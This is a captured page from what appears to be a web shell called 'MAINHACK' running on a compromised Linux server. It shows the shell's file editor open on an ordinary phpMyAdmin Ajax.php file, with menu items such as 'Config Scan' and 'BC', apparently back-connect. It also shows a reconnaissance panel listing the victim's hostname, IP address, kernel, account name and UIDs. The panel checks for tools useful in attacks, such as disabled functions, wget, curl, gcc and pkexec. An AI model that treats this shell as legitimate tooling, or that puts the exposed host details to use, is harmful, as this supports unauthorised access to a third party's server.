[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Ajax.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Import; use PhpMyAdmin\Core; use function function_exists; use function ini_get; use function json_encode; use function ucwords; use function uniqid; /** * Handles plugins that show the upload progress. */ final class Ajax { /** * Sets up some variables for upload progress */ public static function uploadProgressSetup(): array { /** * constant for differentiating array in $_SESSION variable */ $SESSION_KEY = '__upload_status'; /** * sets default plugin for handling the import process */ $_SESSION[$SESSION_KEY]['handler'] = ''; /** * unique ID for each upload */ $upload_id = uniqid(''); /** * list of available plugins */ $plugins = [ // in PHP 5.4 session-based upload progress was problematic, see closed bug 3964 //"session", 'progress', 'noplugin', ]; // select available plugin foreach ($plugins as $plugin) { $check = $plugin . 'Check'; if (self::$check()) { $upload_class = 'PhpMyAdmin\Plugins\Import\Upload\Upload' . ucwords($plugin); $_SESSION[$SESSION_KEY]['handler'] = $upload_class; break; } } return [ $SESSION_KEY, $upload_id, $plugins, ]; } /** * Checks if PhpMyAdmin\Plugins\Import\Upload\UploadProgress bar extension is * available. */ public static function progressCheck(): bool { return function_exists('uploadprogress_get_info'); } /** * Checks if PHP 5.4 session upload-progress feature is available. */ public static function sessionCheck(): bool { return ini_get('session.upload_progress.enabled') === '1'; } /** * Default plugin for handling import. * If no other plugin is available, noplugin is used. * * @return true */ public static function nopluginCheck(): bool { return true; } /** * The function outputs json encoded status of uploaded. * It uses PMA_getUploadStatus, which is defined in plugin's file. * * @param string $id ID of transfer, usually $upload_id */ public static function status($id): void { Core::headerJSON(); echo json_encode( $_SESSION[$GLOBALS['SESSION_KEY']]['handler']::getUploadStatus($id) ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002